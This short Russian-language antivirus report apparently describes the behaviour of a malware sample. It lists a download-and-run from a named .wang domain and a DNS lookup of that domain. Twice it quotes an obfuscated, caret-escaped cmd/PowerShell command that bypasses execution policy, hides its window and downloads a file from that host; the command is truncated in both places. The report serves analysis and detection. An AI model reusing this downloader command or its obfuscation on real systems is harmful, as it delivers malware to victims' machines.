Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "powe^rShell.EXe^ -^exec^u^tion^pOlicy ByPa^s^S ^-n^o^PrOfI^LE^ -^W^indOWsTY^l^e^ HIDd^En^ ^(NE^w-Ob^JEct Sy^St^EM.neT.W^EBcLiE^nT).^Do^WNLoaDfI^LE^(^'http://transporings...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "powe^rShell.EXe^ -^exec^u^tion^pOlicy ByPa^s^S ^-n^o^PrOfI^LE^ -^W^indOWsTY^l^e^ HIDd^En^ ^(NE^w-Ob^JEct Sy^St^EM.neT.W^EBcLiE^nT).^Do^WNLoaDfI^LE^(^'http://transporings...' (со скрытым окном)
